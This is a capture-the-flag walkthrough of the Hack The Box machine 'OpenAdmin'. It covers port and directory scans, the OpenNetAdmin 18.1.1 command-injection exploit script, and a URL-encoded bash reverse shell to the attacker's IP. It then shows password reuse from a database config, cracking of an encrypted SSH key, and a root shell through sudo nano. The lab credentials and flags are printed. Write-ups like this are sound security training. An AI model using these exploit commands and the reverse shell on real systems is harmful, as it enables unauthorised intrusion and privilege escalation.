OpenAdmin
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nmap -T4 -p- -A 10.10.10.171
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-08 23:26 EDT
Warning: 10.10.10.171 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.171
Host is up (0.11s latency).
Not shown: 47750 closed ports, 17783 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2888.60 secondsSecondary Possible Nmap Command: nmap -p- -Pn -sV -sC 10.10.10.171
Enumerate HTTP
Go to http://10.10.10.171 shows default apache page
Directory busting with dirbuster: http://10.10.10.171:80, go faster, and /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt password list. Finds /ona/ and /music/ (which has a login link that goes to /ona/).
DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Sat May 09 00:19:22 EDT 2020
--------------------------------
http://10.10.10.171:80
--------------------------------
Directories found during testing:
Dirs found with a 200 response:
/
/music/
/music/img/
/music/css/
/music/img/blog/
/music/js/
/music/img/playlist/
/music/img/concept/
/music/img/songs/
/ona/
/music/img/premium/
/music/img/icons/
/ona/images/
/ona/include/
/ona/modules/
/ona/images/silk/
/ona/include/adodb/
/ona/include/js/
/ona/include/xajax_suggest/
/ona/modules/ona/
/ona/include/xajax_drag/
/ona/include/adodb5/
/ona/include/xajax_webwin/
/ona/include/auth/
/ona/local/
/ona/include/xajax/xajax_js/
/ona/include/xajax/
/ona/local/config/
/ona/local/nmap_scans/
/ona/include/xajax_0.2.4/
/ona/local/plugins/
/ona/local/nmap_scans/subnets/
/ona/plugins/
/ona/plugins/ona_nmap_scans/
/ona/include/xajax_0.2.4/xajax_js/
/ona/include/adodb/datadict/
/ona/include/adodb/lang/
/ona/images/silk/icons/
/ona/include/adodb/drivers/
/ona/plugins/ona_nmap_scans/sql/
/ona/include/adodb/xsl/
/ona/include/adodb5/drivers/
/ona/include/adodb5/lang/
/ona/include/adodb5/datadict/
/ona/include/adodb5/xsl/
/ona/config/
Dirs found with a 403 response:
/icons/
/icons/small/
--------------------------------
Files found during testing:
Files found with a 301 responce:
/ona
Files found with a 200 responce:
/music/playlist.html
/music/index.html
/music/contact.html
/music/blog.html
/music/category.html
/music/artist.html
/music/css/font-awesome.min.css
/music/js/jquery-3.2.1.min.js
/music/js/WaveSurferInit.js
/ona/login.php
/ona/index.php
/music/css/bootstrap.min.css
/music/js/bootstrap.min.js
/music/js/jplayerInit.js
/music/css/owl.carousel.min.css
/music/js/jquery.slicknav.min.js
/music/css/slicknav.min.css
/music/js/jquery.jplayer.min.js
/music/js/owl.carousel.min.js
/music/js/main.js
/music/css/style.css
/music/js/wavesurfer.min.js
/music/js/mixitup.min.js
/ona/modules/get_module_list.inc.php
/ona/include/DifferenceEngine.php
/ona/modules/ipcalc.inc.php
/ona/modules/mangle.inc.php
/ona/modules/mysql_purge_logs.inc.php
/ona/include/adodb_sessions.inc.php
/ona/modules/report_run.inc.php
/ona/include/functions_auth.inc.php
/ona/include/xajax_suggest/suggest.js
/ona/include/js/global.js
/ona/include/adodb/README.md
/ona/modules/sql.inc.php
/ona/modules/permissions.inc.php
/ona/include/functions_general.inc.php
/ona/include/adodb/adodb-active-record.inc.php
/ona/include/js/bignumber.js
/ona/include/xajax_suggest/suggest.css
/ona/include/functions_gui.inc.php
/ona/include/xajax_drag/drag.js
/ona/include/adodb/adodb-active-recordx.inc.php
/ona/include/xajax_webwin/webwinTT.js
/ona/include/xajax_webwin/webwin.js
/ona/include/functions_network_map.inc.php
/ona/include/adodb/LICENSE.md
/ona/include/adodb/adodb-csvlib.inc.php
/ona/include/xajax_webwin/webwin.css
/ona/include/xajax/xajax_js/xajax.js
/ona/include/adodb/adodb-datadict.inc.php
/ona/include/auth/local.class.php
/ona/include/adodb5/LICENSE.md
/ona/include/html_desktop.inc.php
/ona/include/adodb5/README.md
/ona/include/adodb/adodb-error.inc.php
/ona/include/adodb5/adodb-active-record.inc.php
/ona/include/xajax/xajax_js/xajax_uncompressed.js
/ona/include/adodb/adodb-errorhandler.inc.php
/ona/include/unknown_module_msg.inc.php
/ona/include/adodb5/adodb-active-recordx.inc.php
/ona/include/adodb/adodb-errorpear.inc.php
/ona/include/adodb/adodb-exceptions.inc.php
/ona/include/xajax/xajax.inc.php
/ona/include/adodb5/adodb-csvlib.inc.php
/ona/modules/ona/dns_record.inc.php
/ona/include/adodb/adodb-iterator.inc.php
/ona/include/xajax/README.txt
/ona/include/xajax/xajaxCompress.php
/ona/local/config/database_settings.inc.php
/ona/include/adodb5/adodb-datadict.inc.php
/ona/include/adodb/adodb-lib.inc.php
/ona/local/config/motd.txt.example
/ona/include/xajax/LICENSE.txt
/ona/local/plugins/README
/ona/include/xajax/xajaxResponse.inc.php
/ona/include/xajax_0.2.4/README.txt
/ona/include/xajax_0.2.4/LICENSE.txt
/ona/include/adodb/adodb-memcache.lib.inc.php
/ona/local/config/run_installer
/ona/include/adodb5/adodb-error.inc.php
/ona/include/adodb/adodb-pager.inc.php
/ona/include/adodb5/adodb-errorhandler.inc.php
/ona/include/xajax_0.2.4/xajax.inc.php
/ona/include/xajax_0.2.4/xajaxCompress.php
/ona/include/adodb5/adodb-errorpear.inc.php
/ona/include/adodb/adodb-pear.inc.php
/ona/modules/ona/host.inc.php
/ona/plugins/README
/ona/modules/ona/interface.inc.php
/ona/include/adodb5/adodb-exceptions.inc.php
/ona/include/xajax_0.2.4/xajaxResponse.inc.php
/ona/modules/ona/location.inc.php
/ona/include/adodb/adodb-perf.inc.php
/ona/include/adodb5/adodb-iterator.inc.php
/ona/include/adodb/adodb-php4.inc.php
/ona/include/adodb/adodb-time.inc.php
/ona/local/nmap_scans/subnets/nmap.xsl
/ona/include/adodb5/adodb-lib.inc.php
/ona/modules/ona/tag.inc.php
/ona/include/adodb/adodb-xmlschema.inc.php
/ona/include/adodb/adodb-xmlschema03.inc.php
/ona/include/adodb5/adodb-memcache.lib.inc.php
/ona/include/html_style_sheet.inc.php
/ona/include/xajax_0.2.4/xajax_js/xajax.js
/ona/include/adodb5/adodb-pager.inc.php
/ona/include/adodb/adodb.inc.php
/ona/modules/ona/vlan.inc.php
/ona/modules/ona/vlan_campus.inc.php
/ona/include/adodb5/adodb-pear.inc.php
/ona/plugins/ona_nmap_scans/nmap_scan_cron
/ona/include/adodb/composer.json
/ona/plugins/ona_nmap_scans/plugin_info.php
/ona/include/adodb5/adodb-perf.inc.php
/ona/plugins/ona_nmap_scans/nmap.xsl
/ona/include/adodb5/adodb-php4.inc.php
/ona/include/adodb/pivottable.inc.php
/ona/include/adodb5/adodb-xmlschema.inc.php
/ona/include/adodb5/adodb-time.inc.php
/ona/plugins/ona_nmap_scans/report.inc.php
/ona/include/adodb5/adodb-xmlschema03.inc.php
/ona/include/adodb/rsfilter.inc.php
/ona/plugins/ona_nmap_scans/report_item.inc.php
/ona/include/xajax_0.2.4/xajax_js/xajax_uncompressed.js
/ona/include/adodb/server.php
/ona/include/adodb/lang/adodb-ar.inc.php
/ona/include/adodb/datadict/datadict-access.inc.php
/ona/include/adodb/toexport.inc.php
/ona/include/adodb5/adodb.inc.php
/ona/include/adodb/datadict/datadict-db2.inc.php
/ona/include/adodb/lang/adodb-bg.inc.php
/ona/include/adodb/tohtml.inc.php
/ona/include/adodb/lang/adodb-ca.inc.php
/ona/include/adodb/datadict/datadict-generic.inc.php
/ona/include/adodb/lang/adodb-cn.inc.php
/ona/include/adodb/lang/adodb-cz.inc.php
/ona/include/adodb/xmlschema.dtd
/ona/include/adodb/lang/adodb-da.inc.php
/ona/include/adodb/datadict/datadict-ibase.inc.php
/ona/include/adodb5/composer.json
/ona/include/adodb/lang/adodb-de.inc.php
/ona/include/adodb/xmlschema03.dtd
/ona/include/adodb5/pivottable.inc.php
/ona/include/adodb/lang/adodb-en.inc.php
/ona/plugins/ona_nmap_scans/sql/check_last_response.sql
/ona/include/adodb/datadict/datadict-informix.inc.php
/ona/include/adodb5/rsfilter.inc.php
/ona/include/adodb/lang/adodb-eo.inc.php
/ona/include/adodb/datadict/datadict-mssql.inc.php
/ona/include/adodb/lang/adodb-es.inc.php
/ona/include/adodb/lang/adodb-fa.inc.php
/ona/include/adodb/datadict/datadict-mysql.inc.php
/ona/plugins/ona_nmap_scans/sql/nmap_subnets.sql
/ona/include/adodb/lang/adodb-fr.inc.php
/ona/include/adodb/datadict/datadict-mssqlnative.inc.php
/ona/include/adodb/lang/adodb-hu.inc.php
/ona/include/adodb/lang/adodb-it.inc.php
/ona/include/adodb/datadict/datadict-postgres.inc.php
/ona/include/adodb/xsl/convert-0.1-0.2.xsl
/ona/include/adodb/xsl/convert-0.1-0.3.xsl
/ona/include/adodb5/toexport.inc.php
/ona/include/adodb5/server.php
/ona/include/adodb5/lang/adodb-ar.inc.php
/ona/include/adodb5/tohtml.inc.php
/ona/include/adodb/datadict/datadict-sapdb.inc.php
/ona/include/adodb5/datadict/datadict-access.inc.php
/ona/include/adodb/lang/adodb-nl.inc.php
/ona/include/adodb5/datadict/datadict-db2.inc.php
/ona/include/adodb/lang/adodb-pl.inc.php
/ona/include/adodb/xsl/convert-0.2-0.1.xsl
/ona/include/adodb/datadict/datadict-sqlite.inc.php
/ona/include/adodb5/lang/adodb-bg.inc.php
/ona/include/adodb5/xmlschema.dtd
/ona/include/adodb/lang/adodb-pt-br.inc.php
/ona/include/adodb5/lang/adodb-ca.inc.php
/ona/include/adodb/datadict/datadict-sybase.inc.php
/ona/include/adodb5/datadict/datadict-generic.inc.php
/ona/include/adodb5/lang/adodb-cn.inc.php
/ona/include/adodb/lang/adodb-ro.inc.php
/ona/include/adodb/xsl/remove-0.2.xsl
/ona/include/adodb5/datadict/datadict-ibase.inc.php
/ona/include/adodb5/lang/adodb-cz.inc.php
/ona/include/adodb5/xmlschema03.dtd
/ona/include/adodb/lang/adodb-ru.inc.php
/ona/include/adodb/xsl/remove-0.3.xsl
/ona/include/adodb5/lang/adodb-da.inc.php
/ona/include/adodb5/datadict/datadict-informix.inc.php
/ona/include/adodb/xsl/convert-0.2-0.3.xsl
/ona/include/adodb5/datadict/datadict-mssql.inc.php
/ona/include/adodb5/lang/adodb-de.inc.php
/ona/include/adodb/datadict/datadict-oci8.inc.php
/ona/include/adodb/lang/adodb-sv.inc.php
/ona/include/adodb5/datadict/datadict-mssqlnative.inc.php
/ona/include/adodb/lang/adodb-th.inc.php
/ona/include/adodb5/lang/adodb-en.inc.php
/ona/include/adodb/lang/adodb-uk.inc.php
/ona/include/adodb5/lang/adodb-es.inc.php
/ona/include/adodb5/datadict/datadict-oci8.inc.php
/ona/include/adodb5/lang/adodb-fa.inc.php
/ona/include/adodb5/datadict/datadict-postgres.inc.php
/ona/include/adodb5/xsl/convert-0.1-0.2.xsl
/ona/include/adodb5/datadict/datadict-sapdb.inc.php
/ona/include/adodb5/lang/adodb-hu.inc.php
/ona/include/adodb5/xsl/convert-0.1-0.3.xsl
/ona/include/adodb5/xsl/convert-0.2-0.1.xsl
/ona/include/adodb5/lang/adodb-it.inc.php
/ona/include/adodb5/lang/adodb-fr.inc.php
/ona/include/adodb5/datadict/datadict-sqlite.inc.php
/ona/include/adodb5/xsl/convert-0.2-0.3.xsl
/ona/include/adodb5/lang/adodb-nl.inc.php
/ona/include/adodb5/datadict/datadict-sybase.inc.php
/ona/include/adodb5/lang/adodb-pl.inc.php
/ona/include/adodb5/xsl/remove-0.3.xsl
/ona/include/adodb5/xsl/remove-0.2.xsl
/ona/include/adodb5/lang/adodb-ro.inc.php
/ona/include/adodb5/lang/adodb-ru.inc.php
/ona/include/adodb5/lang/adodb-sv.inc.php
/ona/include/adodb5/lang/adodb-th.inc.php
/ona/include/adodb5/lang/adodb-pt-br.inc.php
/ona/include/adodb5/lang/adodb-uk.inc.php
/ona/plugins/ona_nmap_scans/sql/nmap_subnets_only_yes.sql
/ona/include/adodb5/datadict/datadict-mysql.inc.php
/ona/include/adodb5/lang/adodb-eo.inc.php
/ona/logout.php
/ona/config/auth_ldap.config.php
/ona/shell.php
Files found with a 500 responce:
/ona/include/xajax_drag/drag.inc.php
/ona/include/xajax_suggest/suggest.inc.php
/ona/modules/ona/block.inc.php
/ona/include/functions_db.inc.php
/ona/modules/ona/dhcp_server.inc.php
/ona/include/xajax_setup.inc.php
/ona/modules/ona/domain.inc.php
/ona/modules/ona/domain_server.inc.php
/ona/include/auth/ldap.class.php
/ona/modules/ona/configuration.inc.php
/ona/include/xajax_webwin/webwin.inc.php
/ona/modules/ona/custom_attribute.inc.php
/ona/modules/ona/message.inc.php
/ona/modules/ona/subnet.inc.php
/ona/modules/ona/dhcp_entry.inc.php
/ona/modules/ona/dhcp_failover.inc.php
/ona/modules/ona/dhcp_pool.inc.php
/ona/plugins/ona_nmap_scans/install.php
/ona/plugins/ona_nmap_scans/ona_nmap_scans.inc.php
/ona/include/adodb/datadict/datadict-firebird.inc.php
/ona/include/adodb5/datadict/datadict-firebird.inc.php
/ona/config/config.inc.php
--------------------------------Search for opennetadmin v18.1.1 exploit finds OpenNetAdmin 18.1.1 - Remote Code Execution and OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) and Rapid7
Metasploit
sudo msfconsole
use exploit/unix/webapp/opennetadmin_ping_cmd_injection
set rhosts 10.10.10.171
set lhost tun0
set lport 56762
set payload linux/x86/meterpreter_reverse_tcp
runManual (Better by far) Get exploit:
searchsploit -m exploits/php/webapps/47691.sh && chmod +x 47691.sh
dos2unix 47691.shExploit Script:
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
doneRun exploit:
./47691.sh http://10.10.10.171/ona/login.phpThe script runs an infinite bash loop taking commands and printing the output. The exploit adds an echo before and after the command the user runs and then uses sed to cut out the command output and ignore the rest.
So since a reverse shell is what we want, lets modify the command to create one with bash:
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;bash -c 'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.61%2F42548%200%3E%261'&xajaxargs[]=ping" "http://10.10.10.171/ona/login.php"To create the above command, bash -c 'bash -i >& /dev/tcp/10.10.14.61/42548 0>&'1 was encoded for URLs by URLencoder and placed in the command area. The -c argument to bash is necessary so bash parses the decoded command and not the URL encoded version.
Lateral Movement
Linux Enumeration
LinEnum.sh On Attacker:
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
sudo python3 -m http.server 80On Target:
wget http://10.10.14.61/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -r report -e /tmp/ -tlinuxprivchecker.py On Attacker:
wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py
sudo python3 -m http.server 80On Target:
wget http://10.10.14.61/linuxprivchecker.py
chmod +x linuxprivchecker.py
./LinEnum.sh -r report -e /tmp/ -tLinPEAS On Attacker:
wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
sudo python3 -m http.server 80On Target:
wget http://10.10.14.61/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh -a 2>&1 | tee linpeas_report.txtInfo about 2>&1 and tee: https://stackoverflow.com/questions/418896/how-to-redirect-output-to-a-file-and-stdout
Users Found:
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)Switch from www-data to jimmy
Search /var/www/html for passwd: grep -lR passwd ./
./ona/plugins/ona_nmap_scans/install.php
./ona/LinEnum.sh
./ona/include/functions_db.inc.php
./ona/.htaccess.example
./ona/report-09-05-20
./ona/local/config/database_settings.inc.php
./ona/winc/user_edit.inc.php
./ona/winc/tooltips.inc.phpcat ./ona/local/config/database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
?>Password: n1nj4W4rri0R!
jimmy to joanna: ssh jimmy@10.10.10.171 with password n1nj4W4rri0R! successful.
Run LinPEAS again to find the following:
[+] Interesting GROUP writable files (not in Home)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
Group internal:
/var/www/internal
/var/www/internal/main.php
/var/www/internal/logout.php
/var/www/internal/index.php
[+] Finding 'username' string inside /home /var/www /var/backups /tmp /etc /root /mnt (limit 70)
/var/www/internal/index.php: $_SESSION['username'] = 'jimmy';
/var/www/internal/linpeas.sh: for f in $tomcat; do grep "username=" $f 2>/dev/null | grep "password=" | sed "s,.*,${C}[1;31m&${C}[0m,"; done
/var/www/internal/main.php://session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
[+] Looking for md5/sha1/sha256/sha512 hashes inside files (limit 50)
/var/www/internal/index.php:'00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1'See if the files in this directory are an active site by listing /etc/apache2/sites-enabled. cat internal.conf:
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>Result: The site is running on localhost:52846 as joanna.
Method 1
cat main.php
<?php session_start();
//$_SESSION['username']="joanna";
if (!isset($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>cat index.php includes:
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}Result: This file is not necessary since main.php can be accessed directly.
curl 127.0.0.1:52846/main.php gives us:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
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-----END RSA PRIVATE KEY-----The key is encrypted so lets bruteforce with johntheripper
Method 2
Reverse shell in /var/www/internal
john bruteforce RSA key:
/usr/share/john/ssh2john.py key > hash
sudo john hash --fork=4 -w=/usr/share/wordlists/rockyou.txtResult: Key is bloodninjas
joanna to root: chmod 600 key and ssh joanna@10.10.10.171 -i key
sudo -l
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/privcat user.txt: User Flag: c9b2cf07d40807e62af62660f0c81b5f
Search for nano on GTFOBins
nano
^R^X
reset; sh 1>&0 2>&0Switch to tty: SHELL=/bin/bash script -q /dev/null
cat /root/root.txt: Root Flag: 2f907ed450b361b2c2bf4e8795d5b561
